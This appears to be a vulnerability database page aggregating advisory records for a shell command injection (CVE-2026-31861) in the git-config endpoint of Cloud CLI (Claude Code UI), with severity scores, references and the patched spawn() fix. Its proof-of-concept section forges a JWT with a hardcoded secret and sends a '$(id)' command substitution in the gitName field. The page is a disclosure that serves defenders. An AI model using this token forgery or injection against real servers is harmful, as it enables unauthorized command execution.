CVE-2026-31861 (GCVE-0-2026-31861)

Vulnerability from cvelistv5 – Published: 2026-03-11 17:22 – Updated: 2026-03-12 14:07

Title

Shell Command Injection in Git Routes [CloudCLI UI]

Summary

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 14:07 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/siteboon/claudecodeui/security…	x_refsource_CONFIRM
https://github.com/siteboon/claudecodeui/commit/8…	x_refsource_MISC
https://github.com/siteboon/claudecodeui/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
siteboon	claudecodeui	Affected: < 1.24.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-31861

Vulnerability from fkie_nvd - Published: 2026-03-11 18:16 - Updated: 2026-06-17 10:34

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04	Patch
security-advisories@github.com	https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0	Release Notes
security-advisories@github.com	https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	cloudcli	cloud_cli	*

JSON

To clipboard

{
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          "product": "claudecodeui",
          "vendor": "siteboon",
          "versions": [
            {
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  ],
  "configurations": [
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              "versionEndExcluding": "1.24.0",
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    },
    {
      "lang": "es",
      "value": "Cloud CLI (tambi\u00e9n conocida como Claude Code UI) es una interfaz de usuario de escritorio y m\u00f3vil para Claude Code, Cursor CLI, Codex y Gemini-CLI. Antes de la versi\u00f3n 1.24.0, el endpoint /API/user/git-config construye comandos de shell interpolando valores de gitName y gitEmail proporcionados por el usuario en cadenas de comandos pasadas a child_process.exec(). La entrada se coloca entre comillas dobles y solo \u0027 \" \u0027 se escapa, pero los backticks (`), la sustituci\u00f3n de comandos $() y las secuencias \\ son todas interpretadas dentro de cadenas entre comillas dobles en bash. Esto permite a atacantes autenticados ejecutar comandos arbitrarios del sistema operativo a trav\u00e9s del endpoint de configuraci\u00f3n de git. Esta vulnerabilidad se corrige en la versi\u00f3n 1.24.0."
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  "lastModified": "2026-06-17T10:34:39.100",
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          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-31861",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-12T14:07:14.414700Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-11T18:16:24.887",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-7FV4-FMMC-86G2

Vulnerability from github – Published: 2026-03-10 23:57 – Updated: 2026-03-11 20:45

Summary

@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes

Details

Shell Command Injection in User Git Config Endpoint

Field	Value
Severity	High
CVSS 3.1	8.8 (High) — when chained with VULN-01
CWE	CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector	Network
Authentication	JWT required (bypassable via VULN-01)
Affected Files	`server/routes/user.js` (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

`malicious_command` — backtick execution
$(malicious_command) — subshell execution

Impact

Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
The git config --global vector modifies the server-wide git configuration, affecting all git operations
When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.23.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:57:23Z",
    "nvd_published_at": "2026-03-11T18:16:24Z",
    "severity": "HIGH"
  },
  "details": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) \u2014 when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` \u2014 backtick execution\n- `$(malicious_command)` \u2014 subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** \u2014 arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({\u0027userId\u0027:1,\u0027username\u0027:\u0027admin\u0027}, \u0027claude-ui-dev-secret-change-in-production\u0027, algorithm=\u0027HS256\u0027))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}\u0027\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n\n// AFTER (safe):\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.name\u0027, gitName]);\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.email\u0027, gitEmail]);\n```",
  "id": "GHSA-7fv4-fmmc-86g2",
  "modified": "2026-03-11T20:45:18Z",
  "published": "2026-03-10T23:57:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-31861 (GCVE-0-2026-31861)

FKIE_CVE-2026-31861

GHSA-7FV4-FMMC-86G2

Shell Command Injection in User Git Config Endpoint

Description

Root Cause

Impact

Proof of Concept

Remediation

Tags

Sightings

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